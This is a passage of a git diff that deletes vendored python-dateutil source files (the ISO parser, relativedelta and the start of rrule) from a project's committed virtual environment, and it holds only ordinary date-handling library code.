self._parse_tzstr(tzstr, zero_as_utc=zero_as_utc) - - # Constants - _DATE_SEP = b'-' - _TIME_SEP = b':' - _FRACTION_REGEX = re.compile(b'[\\.,]([0-9]+)') - - def _parse_isodate(self, dt_str): - try: - return self._parse_isodate_common(dt_str) - except ValueError: - return self._parse_isodate_uncommon(dt_str) - - def _parse_isodate_common(self, dt_str): - len_str = len(dt_str) - components = [1, 1, 1] - - if len_str < 4: - raise ValueError('ISO string too short') - - # Year - components[0] = int(dt_str[0:4]) - pos = 4 - if pos >= len_str: - return components, pos - - has_sep = dt_str[pos:pos + 1] == self._DATE_SEP - if has_sep: - pos += 1 - - # Month - if len_str - pos < 2: - raise ValueError('Invalid common month') - - components[1] = int(dt_str[pos:pos + 2]) - pos += 2 - - if pos >= len_str: - if has_sep: - return components, pos - else: - raise ValueError('Invalid ISO format') - - if has_sep: - if dt_str[pos:pos + 1] != self._DATE_SEP: - raise ValueError('Invalid separator in ISO string') - pos += 1 - - # Day - if len_str - pos < 2: - raise ValueError('Invalid common day') - components[2] = int(dt_str[pos:pos + 2]) - return components, pos + 2 - - def _parse_isodate_uncommon(self, dt_str): - if len(dt_str) < 4: - raise ValueError('ISO string too short') - - # All ISO formats start with the year - year = int(dt_str[0:4]) - - has_sep = dt_str[4:5] == self._DATE_SEP - - pos = 4 + has_sep # Skip '-' if it's there - if dt_str[pos:pos + 1] == b'W': - # YYYY-?Www-?D? - pos += 1 - weekno = int(dt_str[pos:pos + 2]) - pos += 2 - - dayno = 1 - if len(dt_str) > pos: - if (dt_str[pos:pos + 1] == self._DATE_SEP) != has_sep: - raise ValueError('Inconsistent use of dash separator') - - pos += has_sep - - dayno = int(dt_str[pos:pos + 1]) - pos += 1 - - base_date = self._calculate_weekdate(year, weekno, dayno) - else: - # YYYYDDD or YYYY-DDD - if len(dt_str) - pos < 3: - raise ValueError('Invalid ordinal day') - - ordinal_day = int(dt_str[pos:pos + 3]) - pos += 3 - - if ordinal_day < 1 or ordinal_day > (365 + calendar.isleap(year)): - raise ValueError('Invalid ordinal day' + - ' {} for year {}'.format(ordinal_day, year)) - - base_date = date(year, 1, 1) + timedelta(days=ordinal_day - 1) - - components = [base_date.year, base_date.month, base_date.day] - return components, pos - - def _calculate_weekdate(self, year, week, day): - """ - Calculate the day of corresponding to the ISO year-week-day calendar. - - This function is effectively the inverse of - :func:`datetime.date.isocalendar`. - - :param year: - The year in the ISO calendar - - :param week: - The week in the ISO calendar - range is [1, 53] - - :param day: - The day in the ISO calendar - range is [1 (MON), 7 (SUN)] - - :return: - Returns a :class:`datetime.date` - """ - if not 0 < week < 54: - raise ValueError('Invalid week: {}'.format(week)) - - if not 0 < day < 8: # Range is 1-7 - raise ValueError('Invalid weekday: {}'.format(day)) - - # Get week 1 for the specific year: - jan_4 = date(year, 1, 4) # Week 1 always has January 4th in it - week_1 = jan_4 - timedelta(days=jan_4.isocalendar()[2] - 1) - - # Now add the specific number of weeks and days to get what we want - week_offset = (week - 1) * 7 + (day - 1) - return week_1 + timedelta(days=week_offset) - - def _parse_isotime(self, timestr): - len_str = len(timestr) - components = [0, 0, 0, 0, None] - pos = 0 - comp = -1 - - if len_str < 2: - raise ValueError('ISO time too short') - - has_sep = False - - while pos < len_str and comp < 5: - comp += 1 - - if timestr[pos:pos + 1] in b'-+Zz': - # Detect time zone boundary - components[-1] = self._parse_tzstr(timestr[pos:]) - pos = len_str - break - - if comp == 1 and timestr[pos:pos+1] == self._TIME_SEP: - has_sep = True - pos += 1 - elif comp == 2 and has_sep: - if timestr[pos:pos+1] != self._TIME_SEP: - raise ValueError('Inconsistent use of colon separator') - pos += 1 - - if comp < 3: - # Hour, minute, second - components[comp] = int(timestr[pos:pos + 2]) - pos += 2 - - if comp == 3: - # Fraction of a second - frac = self._FRACTION_REGEX.match(timestr[pos:]) - if not frac: - continue - - us_str = frac.group(1)[:6] # Truncate to microseconds - components[comp] = int(us_str) * 10**(6 - len(us_str)) - pos += len(frac.group()) - - if pos < len_str: - raise ValueError('Unused components in ISO string') - - if components[0] == 24: - # Standard supports 00:00 and 24:00 as representations of midnight - if any(component != 0 for component in components[1:4]): - raise ValueError('Hour may only be 24 at 24:00:00.000') - - return components - - def _parse_tzstr(self, tzstr, zero_as_utc=True): - if tzstr == b'Z' or tzstr == b'z': - return tz.UTC - - if len(tzstr) not in {3, 5, 6}: - raise ValueError('Time zone offset must be 1, 3, 5 or 6 characters') - - if tzstr[0:1] == b'-': - mult = -1 - elif tzstr[0:1] == b'+': - mult = 1 - else: - raise ValueError('Time zone offset requires sign') - - hours = int(tzstr[1:3]) - if len(tzstr) == 3: - minutes = 0 - else: - minutes = int(tzstr[(4 if tzstr[3:4] == self._TIME_SEP else 3):]) - - if zero_as_utc and hours == 0 and minutes == 0: - return tz.UTC - else: - if minutes > 59: - raise ValueError('Invalid minutes in time zone offset') - - if hours > 23: - raise ValueError('Invalid hours in time zone offset') - - return tz.tzoffset(None, mult * (hours * 60 + minutes) * 60) - - -DEFAULT_ISOPARSER = isoparser() -isoparse = DEFAULT_ISOPARSER.isoparse diff --git a/venv/Lib/site-packages/dateutil/relativedelta.py b/venv/Lib/site-packages/dateutil/relativedelta.py deleted file mode 100644 index cd323a549e0f182541ebcde2d2ea1adfbbd9701e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dateutil/relativedelta.py +++ /dev/null @@ -1,599 +0,0 @@ -# -*- coding: utf-8 -*- -import datetime -import calendar - -import operator -from math import copysign - -from six import integer_types -from warnings import warn - -from ._common import weekday - -MO, TU, WE, TH, FR, SA, SU = weekdays = tuple(weekday(x) for x in range(7)) - -__all__ = ["relativedelta", "MO", "TU", "WE", "TH", "FR", "SA", "SU"] - - -class relativedelta(object): - """ - The relativedelta type is designed to be applied to an existing datetime and - can replace specific components of that datetime, or represents an interval - of time. - - It is based on the specification of the excellent work done by M.-A. Lemburg - in his - `mx.DateTime `_ extension. - However, notice that this type does *NOT* implement the same algorithm as - his work. Do *NOT* expect it to behave like mx.DateTime's counterpart. - - There are two different ways to build a relativedelta instance. The - first one is passing it two date/datetime classes:: - - relativedelta(datetime1, datetime2) - - The second one is passing it any number of the following keyword arguments:: - - relativedelta(arg1=x,arg2=y,arg3=z...) - - year, month, day, hour, minute, second, microsecond: - Absolute information (argument is singular); adding or subtracting a - relativedelta with absolute information does not perform an arithmetic - operation, but rather REPLACES the corresponding value in the - original datetime with the value(s) in relativedelta. - - years, months, weeks, days, hours, minutes, seconds, microseconds: - Relative information, may be negative (argument is plural); adding - or subtracting a relativedelta with relative information performs - the corresponding arithmetic operation on the original datetime value - with the information in the relativedelta. - - weekday: - One of the weekday instances (MO, TU, etc) available in the - relativedelta module. These instances may receive a parameter N, - specifying the Nth weekday, which could be positive or negative - (like MO(+1) or MO(-2)). Not specifying it is the same as specifying - +1. You can also use an integer, where 0=MO. This argument is always - relative e.g. if the calculated date is already Monday, using MO(1) - or MO(-1) won't change the day. To effectively make it absolute, use - it in combination with the day argument (e.g. day=1, MO(1) for first - Monday of the month). - - leapdays: - Will add given days to the date found, if year is a leap - year, and the date found is post 28 of february. - - yearday, nlyearday: - Set the yearday or the non-leap year day (jump leap days). - These are converted to day/month/leapdays information. - - There are relative and absolute forms of the keyword - arguments. The plural is relative, and the singular is - absolute. For each argument in the order below, the absolute form - is applied first (by setting each attribute to that value) and - then the relative form (by adding the value to the attribute). - - The order of attributes considered when this relativedelta is - added to a datetime is: - - 1. Year - 2. Month - 3. Day - 4. Hours - 5. Minutes - 6. Seconds - 7. Microseconds - - Finally, weekday is applied, using the rule described above. - - For example - - >>> from datetime import datetime - >>> from dateutil.relativedelta import relativedelta, MO - >>> dt = datetime(2018, 4, 9, 13, 37, 0) - >>> delta = relativedelta(hours=25, day=1, weekday=MO(1)) - >>> dt + delta - datetime.datetime(2018, 4, 2, 14, 37) - - First, the day is set to 1 (the first of the month), then 25 hours - are added, to get to the 2nd day and 14th hour, finally the - weekday is applied, but since the 2nd is already a Monday there is - no effect. - - """ - - def __init__(self, dt1=None, dt2=None, - years=0, months=0, days=0, leapdays=0, weeks=0, - hours=0, minutes=0, seconds=0, microseconds=0, - year=None, month=None, day=None, weekday=None, - yearday=None, nlyearday=None, - hour=None, minute=None, second=None, microsecond=None): - - if dt1 and dt2: - # datetime is a subclass of date. So both must be date - if not (isinstance(dt1, datetime.date) and - isinstance(dt2, datetime.date)): - raise TypeError("relativedelta only diffs datetime/date") - - # We allow two dates, or two datetimes, so we coerce them to be - # of the same type - if (isinstance(dt1, datetime.datetime) != - isinstance(dt2, datetime.datetime)): - if not isinstance(dt1, datetime.datetime): - dt1 = datetime.datetime.fromordinal(dt1.toordinal()) - elif not isinstance(dt2, datetime.datetime): - dt2 = datetime.datetime.fromordinal(dt2.toordinal()) - - self.years = 0 - self.months = 0 - self.days = 0 - self.leapdays = 0 - self.hours = 0 - self.minutes = 0 - self.seconds = 0 - self.microseconds = 0 - self.year = None - self.month = None - self.day = None - self.weekday = None - self.hour = None - self.minute = None - self.second = None - self.microsecond = None - self._has_time = 0 - - # Get year / month delta between the two - months = (dt1.year - dt2.year) * 12 + (dt1.month - dt2.month) - self._set_months(months) - - # Remove the year/month delta so the timedelta is just well-defined - # time units (seconds, days and microseconds) - dtm = self.__radd__(dt2) - - # If we've overshot our target, make an adjustment - if dt1 < dt2: - compare = operator.gt - increment = 1 - else: - compare = operator.lt - increment = -1 - - while compare(dt1, dtm): - months += increment - self._set_months(months) - dtm = self.__radd__(dt2) - - # Get the timedelta between the "months-adjusted" date and dt1 - delta = dt1 - dtm - self.seconds = delta.seconds + delta.days * 86400 - self.microseconds = delta.microseconds - else: - # Check for non-integer values in integer-only quantities - if any(x is not None and x != int(x) for x in (years, months)): - raise ValueError("Non-integer years and months are " - "ambiguous and not currently supported.") - - # Relative information - self.years = int(years) - self.months = int(months) - self.days = days + weeks * 7 - self.leapdays = leapdays - self.hours = hours - self.minutes = minutes - self.seconds = seconds - self.microseconds = microseconds - - # Absolute information - self.year = year - self.month = month - self.day = day - self.hour = hour - self.minute = minute - self.second = second - self.microsecond = microsecond - - if any(x is not None and int(x) != x - for x in (year, month, day, hour, - minute, second, microsecond)): - # For now we'll deprecate floats - later it'll be an error. - warn("Non-integer value passed as absolute information. " + - "This is not a well-defined condition and will raise " + - "errors in future versions.", DeprecationWarning) - - if isinstance(weekday, integer_types): - self.weekday = weekdays[weekday] - else: - self.weekday = weekday - - yday = 0 - if nlyearday: - yday = nlyearday - elif yearday: - yday = yearday - if yearday > 59: - self.leapdays = -1 - if yday: - ydayidx = [31, 59, 90, 120, 151, 181, 212, - 243, 273, 304, 334, 366] - for idx, ydays in enumerate(ydayidx): - if yday <= ydays: - self.month = idx+1 - if idx == 0: - self.day = yday - else: - self.day = yday-ydayidx[idx-1] - break - else: - raise ValueError("invalid year day (%d)" % yday) - - self._fix() - - def _fix(self): - if abs(self.microseconds) > 999999: - s = _sign(self.microseconds) - div, mod = divmod(self.microseconds * s, 1000000) - self.microseconds = mod * s - self.seconds += div * s - if abs(self.seconds) > 59: - s = _sign(self.seconds) - div, mod = divmod(self.seconds * s, 60) - self.seconds = mod * s - self.minutes += div * s - if abs(self.minutes) > 59: - s = _sign(self.minutes) - div, mod = divmod(self.minutes * s, 60) - self.minutes = mod * s - self.hours += div * s - if abs(self.hours) > 23: - s = _sign(self.hours) - div, mod = divmod(self.hours * s, 24) - self.hours = mod * s - self.days += div * s - if abs(self.months) > 11: - s = _sign(self.months) - div, mod = divmod(self.months * s, 12) - self.months = mod * s - self.years += div * s - if (self.hours or self.minutes or self.seconds or self.microseconds - or self.hour is not None or self.minute is not None or - self.second is not None or self.microsecond is not None): - self._has_time = 1 - else: - self._has_time = 0 - - @property - def weeks(self): - return int(self.days / 7.0) - - @weeks.setter - def weeks(self, value): - self.days = self.days - (self.weeks * 7) + value * 7 - - def _set_months(self, months): - self.months = months - if abs(self.months) > 11: - s = _sign(self.months) - div, mod = divmod(self.months * s, 12) - self.months = mod * s - self.years = div * s - else: - self.years = 0 - - def normalized(self): - """ - Return a version of this object represented entirely using integer - values for the relative attributes. - - >>> relativedelta(days=1.5, hours=2).normalized() - relativedelta(days=+1, hours=+14) - - :return: - Returns a :class:`dateutil.relativedelta.relativedelta` object. - """ - # Cascade remainders down (rounding each to roughly nearest microsecond) - days = int(self.days) - - hours_f = round(self.hours + 24 * (self.days - days), 11) - hours = int(hours_f) - - minutes_f = round(self.minutes + 60 * (hours_f - hours), 10) - minutes = int(minutes_f) - - seconds_f = round(self.seconds + 60 * (minutes_f - minutes), 8) - seconds = int(seconds_f) - - microseconds = round(self.microseconds + 1e6 * (seconds_f - seconds)) - - # Constructor carries overflow back up with call to _fix() - return self.__class__(years=self.years, months=self.months, - days=days, hours=hours, minutes=minutes, - seconds=seconds, microseconds=microseconds, - leapdays=self.leapdays, year=self.year, - month=self.month, day=self.day, - weekday=self.weekday, hour=self.hour, - minute=self.minute, second=self.second, - microsecond=self.microsecond) - - def __add__(self, other): - if isinstance(other, relativedelta): - return self.__class__(years=other.years + self.years, - months=other.months + self.months, - days=other.days + self.days, - hours=other.hours + self.hours, - minutes=other.minutes + self.minutes, - seconds=other.seconds + self.seconds, - microseconds=(other.microseconds + - self.microseconds), - leapdays=other.leapdays or self.leapdays, - year=(other.year if other.year is not None - else self.year), - month=(other.month if other.month is not None - else self.month), - day=(other.day if other.day is not None - else self.day), - weekday=(other.weekday if other.weekday is not None - else self.weekday), - hour=(other.hour if other.hour is not None - else self.hour), - minute=(other.minute if other.minute is not None - else self.minute), - second=(other.second if other.second is not None - else self.second), - microsecond=(other.microsecond if other.microsecond - is not None else - self.microsecond)) - if isinstance(other, datetime.timedelta): - return self.__class__(years=self.years, - months=self.months, - days=self.days + other.days, - hours=self.hours, - minutes=self.minutes, - seconds=self.seconds + other.seconds, - microseconds=self.microseconds + other.microseconds, - leapdays=self.leapdays, - year=self.year, - month=self.month, - day=self.day, - weekday=self.weekday, - hour=self.hour, - minute=self.minute, - second=self.second, - microsecond=self.microsecond) - if not isinstance(other, datetime.date): - return NotImplemented - elif self._has_time and not isinstance(other, datetime.datetime): - other = datetime.datetime.fromordinal(other.toordinal()) - year = (self.year or other.year)+self.years - month = self.month or other.month - if self.months: - assert 1 <= abs(self.months) <= 12 - month += self.months - if month > 12: - year += 1 - month -= 12 - elif month < 1: - year -= 1 - month += 12 - day = min(calendar.monthrange(year, month)[1], - self.day or other.day) - repl = {"year": year, "month": month, "day": day} - for attr in ["hour", "minute", "second", "microsecond"]: - value = getattr(self, attr) - if value is not None: - repl[attr] = value - days = self.days - if self.leapdays and month > 2 and calendar.isleap(year): - days += self.leapdays - ret = (other.replace(**repl) - + datetime.timedelta(days=days, - hours=self.hours, - minutes=self.minutes, - seconds=self.seconds, - microseconds=self.microseconds)) - if self.weekday: - weekday, nth = self.weekday.weekday, self.weekday.n or 1 - jumpdays = (abs(nth) - 1) * 7 - if nth > 0: - jumpdays += (7 - ret.weekday() + weekday) % 7 - else: - jumpdays += (ret.weekday() - weekday) % 7 - jumpdays *= -1 - ret += datetime.timedelta(days=jumpdays) - return ret - - def __radd__(self, other): - return self.__add__(other) - - def __rsub__(self, other): - return self.__neg__().__radd__(other) - - def __sub__(self, other): - if not isinstance(other, relativedelta): - return NotImplemented # In case the other object defines __rsub__ - return self.__class__(years=self.years - other.years, - months=self.months - other.months, - days=self.days - other.days, - hours=self.hours - other.hours, - minutes=self.minutes - other.minutes, - seconds=self.seconds - other.seconds, - microseconds=self.microseconds - other.microseconds, - leapdays=self.leapdays or other.leapdays, - year=(self.year if self.year is not None - else other.year), - month=(self.month if self.month is not None else - other.month), - day=(self.day if self.day is not None else - other.day), - weekday=(self.weekday if self.weekday is not None else - other.weekday), - hour=(self.hour if self.hour is not None else - other.hour), - minute=(self.minute if self.minute is not None else - other.minute), - second=(self.second if self.second is not None else - other.second), - microsecond=(self.microsecond if self.microsecond - is not None else - other.microsecond)) - - def __abs__(self): - return self.__class__(years=abs(self.years), - months=abs(self.months), - days=abs(self.days), - hours=abs(self.hours), - minutes=abs(self.minutes), - seconds=abs(self.seconds), - microseconds=abs(self.microseconds), - leapdays=self.leapdays, - year=self.year, - month=self.month, - day=self.day, - weekday=self.weekday, - hour=self.hour, - minute=self.minute, - second=self.second, - microsecond=self.microsecond) - - def __neg__(self): - return self.__class__(years=-self.years, - months=-self.months, - days=-self.days, - hours=-self.hours, - minutes=-self.minutes, - seconds=-self.seconds, - microseconds=-self.microseconds, - leapdays=self.leapdays, - year=self.year, - month=self.month, - day=self.day, - weekday=self.weekday, - hour=self.hour, - minute=self.minute, - second=self.second, - microsecond=self.microsecond) - - def __bool__(self): - return not (not self.years and - not self.months and - not self.days and - not self.hours and - not self.minutes and - not self.seconds and - not self.microseconds and - not self.leapdays and - self.year is None and - self.month is None and - self.day is None and - self.weekday is None and - self.hour is None and - self.minute is None and - self.second is None and - self.microsecond is None) - # Compatibility with Python 2.x - __nonzero__ = __bool__ - - def __mul__(self, other): - try: - f = float(other) - except TypeError: - return NotImplemented - - return self.__class__(years=int(self.years * f), - months=int(self.months * f), - days=int(self.days * f), - hours=int(self.hours * f), - minutes=int(self.minutes * f), - seconds=int(self.seconds * f), - microseconds=int(self.microseconds * f), - leapdays=self.leapdays, - year=self.year, - month=self.month, - day=self.day, - weekday=self.weekday, - hour=self.hour, - minute=self.minute, - second=self.second, - microsecond=self.microsecond) - - __rmul__ = __mul__ - - def __eq__(self, other): - if not isinstance(other, relativedelta): - return NotImplemented - if self.weekday or other.weekday: - if not self.weekday or not other.weekday: - return False - if self.weekday.weekday != other.weekday.weekday: - return False - n1, n2 = self.weekday.n, other.weekday.n - if n1 != n2 and not ((not n1 or n1 == 1) and (not n2 or n2 == 1)): - return False - return (self.years == other.years and - self.months == other.months and - self.days == other.days and - self.hours == other.hours and - self.minutes == other.minutes and - self.seconds == other.seconds and - self.microseconds == other.microseconds and - self.leapdays == other.leapdays and - self.year == other.year and - self.month == other.month and - self.day == other.day and - self.hour == other.hour and - self.minute == other.minute and - self.second == other.second and - self.microsecond == other.microsecond) - - def __hash__(self): - return hash(( - self.weekday, - self.years, - self.months, - self.days, - self.hours, - self.minutes, - self.seconds, - self.microseconds, - self.leapdays, - self.year, - self.month, - self.day, - self.hour, - self.minute, - self.second, - self.microsecond, - )) - - def __ne__(self, other): - return not self.__eq__(other) - - def __div__(self, other): - try: - reciprocal = 1 / float(other) - except TypeError: - return NotImplemented - - return self.__mul__(reciprocal) - - __truediv__ = __div__ - - def __repr__(self): - l = [] - for attr in ["years", "months", "days", "leapdays", - "hours", "minutes", "seconds", "microseconds"]: - value = getattr(self, attr) - if value: - l.append("{attr}={value:+g}".format(attr=attr, value=value)) - for attr in ["year", "month", "day", "weekday", - "hour", "minute", "second", "microsecond"]: - value = getattr(self, attr) - if value is not None: - l.append("{attr}={value}".format(attr=attr, value=repr(value))) - return "{classname}({attrs})".format(classname=self.__class__.__name__, - attrs=", ".join(l)) - - -def _sign(x): - return int(copysign(1, x)) - -# vim:ts=4:sw=4:et diff --git a/venv/Lib/site-packages/dateutil/rrule.py b/venv/Lib/site-packages/dateutil/rrule.py deleted file mode 100644 index 571a0d2bc886a7ea4c06196b2f52e740c2ed6e9f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dateutil/rrule.py +++ /dev/null @@ -1,1737 +0,0 @@ -# -*- coding: utf-8 -*- -""" -The rrule module offers a small, complete, and very fast, implementation of -the recurrence rules documented in the -`iCalendar RFC `_, -including support for caching of results. -""" -import calendar -import datetime -import heapq -import itertools -import re -import sys -from functools import wraps -# For warning about deprecation of until and count -from warnings import warn - -from six import advance_iterator, integer_types - -from six.moves import _thread, range - -from ._common import weekday as weekdaybase - -try: - from math import gcd -except ImportError: - from fractions import gcd - -__all__ = ["rrule", "rruleset", "rrulestr", - "YEARLY", "MONTHLY", "WEEKLY", "DAILY", - "HOURLY", "MINUTELY", "SECONDLY", - "MO", "TU", "WE", "TH", "FR", "SA", "SU"] - -# Every mask is 7 days longer to handle cross-year weekly periods. -M366MASK = tuple([1]*31+[2]*29+[3]*31+[4]*30+[5]*31+[6]*30 + - [7]*31+[8]*31+[9]*30+[10]*31+[11]*30+[12]*31+[1]*7) -M365MASK = list(M366MASK) -M29, M30, M31 = list(range(1, 30)), list(range(1, 31)), list(range(1, 32)) -MDAY366MASK = tuple(M31+M29+M31+M30+M31+M30+M31+M31+M30+M31+M30+M31+M31[:7]) -MDAY365MASK = list(MDAY366MASK) -M29, M30, M31 = list(range(-29, 0)), list(range(-30, 0)), list(range(-31, 0)) -NMDAY366MASK = tuple(M31+M29+M31+M30+M31+M30+M31+M31+M30+M31+M30+M31+M31[:7]) -NMDAY365MASK = list(NMDAY366MASK) -M366RANGE = (0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366) -M365RANGE = (0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365) -WDAYMASK = [0, 1, 2, 3, 4, 5, 6]*55 -del M29, M30, M31, M365MASK[59], MDAY365MASK[59], NMDAY365MASK[31] -MDAY365MASK = tuple(MDAY365MASK) -M365MASK = tuple(M365MASK) - -FREQNAMES = ['YEARLY', 'MONTHLY', 'WEEKLY', 'DAILY', 'HOURLY', 'MINUTELY', 'SECONDLY'] - -(YEARLY, - MONTHLY, - WEEKLY, - DAILY, - HOURLY, - MINUTELY, - SECONDLY) = list(range(7)) - -# Imported on demand. -easter = None -parser = None - - -class weekday(weekdaybase): - """ - This version of weekday does not allow n = 0. - """ - def __init__(self, wkday, n=None): - if n == 0: - raise ValueError("Can't create weekday with n==0") - - super(weekday, self).__init__(wkday, n) - - -MO, TU, WE, TH, FR, SA, SU = weekdays = tuple(weekday(x) for x in range(7)) - - -def _invalidates_cache(f): - """ - Decorator for rruleset methods which may invalidate the - cached length. - """ - @wraps(f) - def inner_func(self, *args, **kwargs): - rv = f(self, *args, **kwargs) - self._invalidate_cache() - return rv - - return inner_func - - -class rrulebase(object): - def __init__(self, cache=False): - if cache: - self._cache = [] - self._cache_lock = _thread.allocate_lock() - self._invalidate_cache() - else: - self._cache = None - self._cache_complete = False - self._len = None - - def __iter__(self): - if self._cache_complete: - return iter(self._cache) - elif self._cache is None: - return self._iter() - else: - return self._iter_cached() - - def _invalidate_cache(self): - if self._cache is not None: - self._cache = [] - self._cache_complete = False - self._cache_gen = self._iter() - - if self._cache_lock.locked(): - self._cache_lock.release() - - self._len = None - - def _iter_cached(self): - i = 0 - gen = self._cache_gen - cache = self._cache - acquire = self._cache_lock.acquire - release = self._cache_lock.release - while gen: - if i == len(cache): - acquire() - if self._cache_complete: - break - try: - for j in range(10): - cache.append(advance_iterator(gen)) - except StopIteration: - self._cache_gen = gen = None - self._cache_complete = True - break - release() - yield cache[i] - i += 1 - while i < self._len: - yield cache[i] - i += 1 - - def __getitem__(self, item): - if self._cache_complete: - return self._cache[item] - elif isinstance(item, slice): - if item.step and item.step < 0: - return list(iter(self))[item] - else: - return list(itertools.islice(self, - item.start or 0, - item.stop or sys.maxsize, - item.step or 1)) - elif item >= 0: - gen = iter(self) - try: - for i in range(item+1): - res = advance_iterator(gen) - except StopIteration: - raise IndexError - return res - else: - return list(iter(self))[item] - - def __contains__(self, item): - if self._cache_complete: - return item in self._cache - else: - for i in self: - if i == item: - return True - elif i > item: - return False - return False - - # __len__() introduces a large performance penalty. - def count(self): - """ Returns the number of recurrences in this set. It will have go - through the whole recurrence, if this hasn't been done before. """ - if self._len is None: - for x in self: - pass - return self._len - - def before(self, dt, inc=False): - """ Returns the last recurrence before the given datetime instance. The - inc keyword defines what happens if dt is an occurrence. With - inc=True, if dt itself is an occurrence, it will be returned. """ - if self._cache_complete: - gen = self._cache - else: - gen = self - last = None - if inc: - for i in gen: - if i > dt: - break - last = i - else: - for i in gen: - if i >= dt: - break - last = i - return last - - def after(self, dt, inc=False): - """ Returns the first recurrence after the given datetime instance. The - inc keyword defines what happens if dt is an occurrence. With - inc=True, if dt itself is an occurrence, it will be returned. """ - if self._cache_complete: - gen = self._cache - else: - gen = self - if inc: - for i in gen: - if i >= dt: - return i - else: - for i in gen: - if i > dt: - return i - return None - - def xafter(self, dt, count=None, inc=False): - """ - Generator which yields up to `count` recurrences after the given - datetime instance, equivalent to `after`. - - :param dt: - The datetime at which to start generating recurrences. - - :param count: - The maximum number of recurrences to generate. If `None` (default), - dates are generated until the recurrence rule is exhausted. - - :param inc: - If `dt` is an instance of the rule and `inc` is `True`, it is - included in the output. - - :yields: Yields a sequence of `datetime` objects. - """ - - if self._cache_complete: - gen = self._cache - else: - gen = self - - # Select the comparison function - if inc: - comp = lambda dc, dtc: dc >= dtc - else: - comp = lambda dc, dtc: dc > dtc - - # Generate dates - n = 0 - for d in gen: - if comp(d, dt): - if count is not None: - n += 1 - if n > count: - break - - yield d - - def between(self, after, before, inc=False, count=1): - """ Returns all the occurrences of the rrule between after and before. - The inc keyword defines what happens if after and/or before are - themselves occurrences. With inc=True, they will be included in the - list, if they are found in the recurrence set. """ - if self._cache_complete: - gen = self._cache - else: - gen = self - started = False - l = [] - if inc: - for i in gen: - if i > before: - break - elif not started: - if i >= after: - started = True - l.append(i) - else: - l.append(i) - else: - for i in gen: - if i >= before: - break - elif not started: - if i > after: - started = True - l.append(i) - else: - l.append(i) - return l - - -class rrule(rrulebase): - """ - That's the base of the rrule operation. It accepts all the keywords - defined in the RFC as its constructor parameters (except byday, - which was renamed to byweekday) and more. The constructor prototype is:: - - rrule(freq) - - Where freq must be one of YEARLY, MONTHLY, WEEKLY, DAILY, HOURLY, MINUTELY, - or SECONDLY. - - .. note:: - Per RFC section 3.3.10, recurrence instances falling on invalid dates - and times are ignored rather than coerced: - - Recurrence rules may generate recurrence instances with an invalid - date (e.g., February 30) or nonexistent local time (e.g., 1:30 AM - on a day where the local time is moved forward by an hour at 1:00 - AM). Such recurrence instances MUST be ignored and MUST NOT be - counted as part of the recurrence set. - - This can lead to possibly surprising behavior when, for example, the - start date occurs at the end of the month: - - >>> from dateutil.rrule import rrule, MONTHLY - >>> from datetime import datetime - >>> start_date = datetime(2014, 12, 31) - >>> list(rrule(freq=MONTHLY, count=4, dtstart=start_date)) - ... # doctest: +NORMALIZE_WHITESPACE - [datetime.datetime(2014, 12, 31, 0, 0), - datetime.datetime(2015, 1, 31, 0, 0), - datetime.datetime(2015, 3, 31, 0, 0), - datetime.datetime(2015, 5, 31, 0, 0)] - - Additionally, it supports the following keyword arguments: - - :param dtstart: - The recurrence start. Besides being the base for the recurrence, - missing parameters in the final recurrence instances will also be - extracted from this date. If not given, datetime.now() will be used - instead. - :param interval: - The interval between each freq iteration. For example, when using - YEARLY, an interval of 2 means once every two years, but with HOURLY, - it means once every two hours. The default interval is 1. - :param wkst: - The week start day. Must be one of the MO, TU, WE constants, or an - integer, specifying the first day of the week. This will affect - recurrences based on weekly periods. The default week start is got - from calendar.firstweekday(), and may be modified by - calendar.setfirstweekday(). - :param count: - If given, this determines how many occurrences will be generated. - - .. note:: - As of version 2.5.0, the use of the keyword ``until`` in conjunction - with ``count`` is deprecated, to make sure ``dateutil`` is fully - compliant with `RFC-5545 Sec. 3.3.10 `_. Therefore, ``until`` and ``count`` - **must not** occur in the same call to ``rrule``. - :param until: - If given, this must be a datetime instance specifying the upper-bound - limit of the recurrence. The last recurrence in the rule is the greatest - datetime that is less than or equal to the value specified in the - ``until`` parameter. - - .. note:: - As of version 2.5.0, the use of the keyword ``until`` in conjunction - with ``count`` is deprecated, to make sure ``dateutil`` is fully - compliant with `RFC-5545 Sec. 3.3.10 `_. Therefore, ``until`` and ``count`` - **must not** occur in the same call to ``rrule``. - :param bysetpos: - If given, it must be either an integer, or a sequence of integers, - positive or negative. Each given integer will specify an occurrence - number, corresponding to the nth occurrence of the rule inside the - frequency period. For example, a bysetpos of -1 if combined with a - MONTHLY frequency, and a byweekday of (MO, TU, WE, TH, FR), will - result in the last work day of every month. - :param bymonth: - If given, it must be either an integer, or a sequence of integers, - meaning the months to apply the recurrence to. - :param bymonthday: - If given, it must be either an integer, or a sequence of integers, - meaning the month days to apply the recurrence to. - :param byyearday: - If given, it must be either an integer, or a sequence of integers, - meaning the year days to apply the recurrence to. - :param byeaster: - If given, it must be either an integer, or a sequence of integers, - positive or negative. Each integer will define an offset from the - Easter Sunday. Passing the offset 0 to byeaster will yield the Easter - Sunday itself. This is an extension to the RFC specification. - :param byweekno: - If given, it must be either an integer, or a sequence of integers, - meaning the week numbers to apply the recurrence to. Week numbers - have the meaning described in ISO8601, that is, the first week of - the year is that containing at least four days of the new year. - :param byweekday: - If given, it must be either an integer (0 == MO), a sequence of - integers, one of the weekday constants (MO, TU, etc), or a sequence - of these constants. When given, these variables will define the - weekdays where the recurrence will be applied. It's also possible to - use an argument n for the weekday instances, which will mean the nth - occurrence of this weekday in the period. For example, with MONTHLY, - or with YEARLY and BYMONTH, using FR(+1) in byweekday will specify the - first friday of the month where the recurrence happens. Notice that in - the RFC documentation, this is specified as BYDAY, but was renamed to - avoid the ambiguity of that keyword. - :param byhour: - If given, it must be either an integer, or a sequence of integers, - meaning the hours to apply the recurrence to. - :param byminute: - If given, it must be either an integer, or a sequence of integers, - meaning the minutes to apply the recurrence to. - :param bysecond: - If given, it must be either an integer, or a sequence of integers, - meaning the seconds to apply the recurrence to. - :param cache: - If given, it must be a boolean value specifying to enable or disable - caching of results. If you will use the same rrule instance multiple - times, enabling caching will improve the performance considerably. - """ - def __init__(self, freq, dtstart=None, - interval=1, wkst=None, count=None, until=None, bysetpos=None, - bymonth=None, bymonthday=None, byyearday=None, byeaster=None, - byweekno=None, byweekday=None, - byhour=None, byminute=None, bysecond=None, - 